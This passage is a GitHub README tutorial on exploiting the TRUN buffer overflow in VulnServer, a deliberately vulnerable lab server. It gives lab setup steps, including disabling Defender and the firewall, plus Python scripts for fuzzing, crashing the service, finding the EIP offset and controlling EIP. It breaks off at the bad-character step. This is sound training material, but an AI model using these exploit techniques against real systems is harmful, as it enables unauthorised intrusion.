https://github.com/aymenmarjan/bufferoverflow-vulnserver
A detailed walkthrough for exploiting the VulnServer TRUN buffer overflow vulnerability, from fuzzing to Meterpreter shell. Includes code samples, explanations, and best practices for Windows exploit development.
https://github.com/aymenmarjan/bufferoverflow-vulnserver
buffer-overflow cybersecurity eip-control exploit-development hacking immunity-debugger metasploit mona penetration-testing python reverse-shell shellcode stack-overflow tutorials vulnserver windows-exploitation
Last synced: 10 months ago
JSON representation
A detailed walkthrough for exploiting the VulnServer TRUN buffer overflow vulnerability, from fuzzing to Meterpreter shell. Includes code samples, explanations, and best practices for Windows exploit development.
- Host: GitHub
- URL: https://github.com/aymenmarjan/bufferoverflow-vulnserver
- Owner: aymenmarjan
- Created: 2025-03-22T04:28:40.000Z (11 months ago)
- Default Branch: main
- Last Pushed: 2025-04-12T15:28:57.000Z (10 months ago)
- Last Synced: 2025-04-12T16:37:40.848Z (10 months ago)
- Topics: buffer-overflow, cybersecurity, eip-control, exploit-development, hacking, immunity-debugger, metasploit, mona, penetration-testing, python, reverse-shell, shellcode, stack-overflow, tutorials, vulnserver, windows-exploitation
- Language: Python
- Homepage:
- Size: 1.31 MB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Basic Buffer Overflow - VulnServer TRUN
A step-by-step walkthrough of exploiting the TRUN command buffer overflow vulnerability in VulnServer.



## Introduction
Welcome to my project exploring a classic Windows buffer overflow vulnerability using the TRUN command in VulnServer. This tutorial walks through the entire process from fuzzing to obtaining a Meterpreter shell - all with step-by-step explanations along the way.
VulnServer is an intentionally vulnerable Windows TCP server that's perfect for learning exploitation techniques. While it doesn't have any real functionality (it's vulnerable by design), it provides an excellent educational platform for practicing buffer overflow attacks in a controlled environment.
## Project Overview
In this project, we'll:
1. Set up our environment with VulnServer and Immunity Debugger
2. Fuzz the TRUN command to identify the vulnerability
3. Find the exact crash point and control EIP
4. Identify bad characters
5. Find a JMP ESP instruction to use
6. Generate and inject shellcode
7. Get a Meterpreter shell!
## Environment Setup
### Network Configuration
- **Target Machine**: Windows VM (IP: 192.168.177.130)
- VulnServer running on port 9999
- **Attack Machine**: Kali Linux VM (IP: 192.168.177.141)
- Used for sending exploits and catching shells
### Tools Used
- **VulnServer**: Our target vulnerable application
- **Immunity Debugger**: For analyzing the crash and memory
- **Kali Linux**: For running our exploitation scripts
- **Python**: For writing our exploits
- **Mona**: A powerful plugin for Immunity Debugger
- **Metasploit**: For shellcode generation and more
### Installing VulnServer
1. Download [VulnServer](https://github.com/stephenbradshaw/vulnserver/archive/refs/heads/master.zip)
2. Extract and run `vulnserver.exe` on your Windows machine
### Setting Up Immunity Debugger
1. Download [Immunity Debugger](https://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/Immunity-Debugger.shtml) and install it
2. Install the [Mona.py](https://github.com/aymenmarjan/BufferOverflow-VulnServer/blob/main/mona.py) plugin by placing it in the PyCommands folder:
```
C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands\
```

## Step 0: Preparing the Target Environment
Before beginning any exploitation, we need to properly prepare our target Windows environment:
1. **Disable Windows Defender**:
- Open Windows Security
- Go to "Virus & threat protection"
- Click "Manage settings" under "Virus & threat protection settings"
- Turn off "Real-time protection"
2. **Disable Windows Firewall**:
- Open Control Panel
- Go to "System and Security" > "Windows Defender Firewall"
- Click "Turn Windows Defender Firewall on or off"
- Select "Turn off Windows Defender Firewall" for all network types
3. **Verify VulnServer is Accessible**:
- From your Kali machine, run: `nc -nv 192.168.177.130 9999`
- You should see a welcome banner from VulnServer
These steps ensure our exploitation attempts won't be blocked by Windows security features.
## Step 1: Fuzzing the Application
We'll start by creating a fuzzing script to identify if and where the vulnerability exists using the SPIKE tool.
Create a `fuzzer.spk` file:
```spk
s_readline();
s_string("TRUN ");
s_string_variable("FUZZ");
```
Open `vulnserver.exe` with Immunity Debugger, click `F9` to start the server.

Run the fuzzer from our Kali machine against VulnServer to identify potential buffer overflow:
```bash
generic_send_tcp 192.168.177.130 9999 fuzzer.spk 0 0
```
Running this script, we'll see the application crash when we hit a certain buffer length with an `Access violation when executing [41414141]`. This confirms the vulnerability exists and gives us a starting point.

## Step 2: Finding the Crash Point
Once we've confirmed the crash, we need to determine exactly where the crash occurs.
After the application crashes in the Debugger, `Right click` on the `ESP` value in the Registers section > `Follow in Dump`, then note:
- The first address the fuzzing begins with: (In my case `0x00AFF1F0`)

- The last address the fuzzing ends with: (In my case `0X00AFFD98`)

Then calculate the difference:

So we've been able to make the application crash by fuzzing it with 2984 bytes (A's).
Let's now write our own Python script that will crash the program instead of using SPIKE:
```python
#!/usr/bin/python3
import socket
s = socket.socket()
s.connect(("192.168.177.130", 9999))
total_length = 2984
payload = [
b"TRUN /.:/",
b"A"*total_length
]
payload = b"".join(payload)
s.send(payload)
s.close()
```
When we run this while monitoring the application in Immunity Debugger, we'll see it crash with EIP filled with "A"s (41414141 in hex), confirming we can control the instruction pointer.

## Step 3: Finding the Exact Offset
Now we need to find exactly where in our buffer we're overwriting EIP. We'll use a cyclic pattern instead of just A's:
```python
#!/usr/bin/python3
import socket
s = socket.socket()
s.connect(("192.168.177.130", 9999))
# Create a cyclic pattern using MSF pattern_create
# In Kali: $ msf-pattern_create -l 2984
total_length = 2984
payload = [
b"TRUN /.:/",
b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv"
]
payload = b"".join(payload)
s.send(payload)
s.close()
```
After the crash, we'll see a unique value in EIP (in my case: `386F4337`).

Now we can find where this occurs using:
```bash
msf-pattern_offset -l 2984 -q 386F4337
```
This will tell us the exact offset is `2003 bytes`.
## Step 4: Verifying Control of EIP
Let's verify we have precise control of EIP by crafting a buffer with:
- A padding of A's up to the offset
- B's (42424242) to overwrite EIP
- C's after to verify we can control what comes after EIP
```python
#!/usr/bin/python3
import socket
s = socket.socket()
s.connect(("192.168.177.130", 9999))
total_length = 2984
offset = 2003
New_EIP = b"BBBB"
payload = [
b"TRUN /.:/",
b"A"*offset,
New_EIP,
b"C"*(total_length-offset-len(New_EIP))
]
payload = b"".join(payload)
s.send(payload)
s.close()
```
In Immunity Debugger, we should see EIP filled with 42424242 (our "B"s) and the Stack filled with our "C"s - confirming we have precise control!

## Step 5: Checking for Bad Characters
When crafting shellcode, we need to avoid "bad characters" that might break our exploit. Let's test all possible bytes:
```python
#!/usr/bin/python3
import socket
import struct
all_characters = b"".join([ struct.pack('